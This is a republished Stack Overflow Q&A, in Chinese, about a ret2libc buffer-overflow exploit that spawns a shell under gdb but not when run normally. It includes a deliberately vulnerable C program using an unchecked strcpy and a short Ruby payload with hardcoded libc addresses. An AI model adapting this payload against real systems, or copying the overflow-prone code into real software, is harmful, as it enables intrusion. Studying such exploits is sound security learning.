gpt4 book ai didi

c - Ret2libc 漏洞在 gdb 中有效,但在正常 shell 中会出现错误 sh : 1: g:0:1: not found

转载 作者:行者123 更新时间:2023-11-30 15:47:38 29 4
gpt4 key购买 nike

我正在学习 ret2libc 缓冲区溢出漏洞来绕过 NX。

我的易受攻击的代码(vuln.c):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buffer[512];

if (argc != 2)
printf("NO\n");
else {
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
}

使用此命令编译:# gcc -o vuln vuln.c

然后我在 ruby​​ 中创建了这个简单的 ret2libc 漏洞(exploit.rb):

p = "A"*524
p += [0xb7e9ef10].pack('<I') # system()
p += [0xb7e79e46].pack('<I') # nomal ret val
p += [0xbffff75a].pack('<I') # "/bin/bash"
print(p)

如果它在 gdb 中运行 (gdb) r $(ruby exploit.rb)它给了我一个很好的 bash shell。

然后我尝试在普通 shell 中使用 # ./vuln $(ruby exploit.rb) 运行它。 ,但它没有给我一个 shell,而是给了我这个: sh: 1: g:0:1: not found

我认为 ASLR 被禁用,唯一启用的保护是 NX。

感谢任何帮助。

编辑:

我正在 i686 上运行它,以防有帮助。

最佳答案

转移的原因是执行环境。

user@feynman:~$ ./getenv PWN
PWN ("/home/user/pwn") is at 0xbfffff82
user@feynman:~$ /home/user/getenv PWN
PWN ("/home/user/pwn") is at 0xbfffff70

这里启动getenv的方式正在影响PWN的地址。

关于c - Ret2libc 漏洞在 gdb 中有效,但在正常 shell 中会出现错误 sh : 1: g:0:1: not found,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/17266787/

29 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com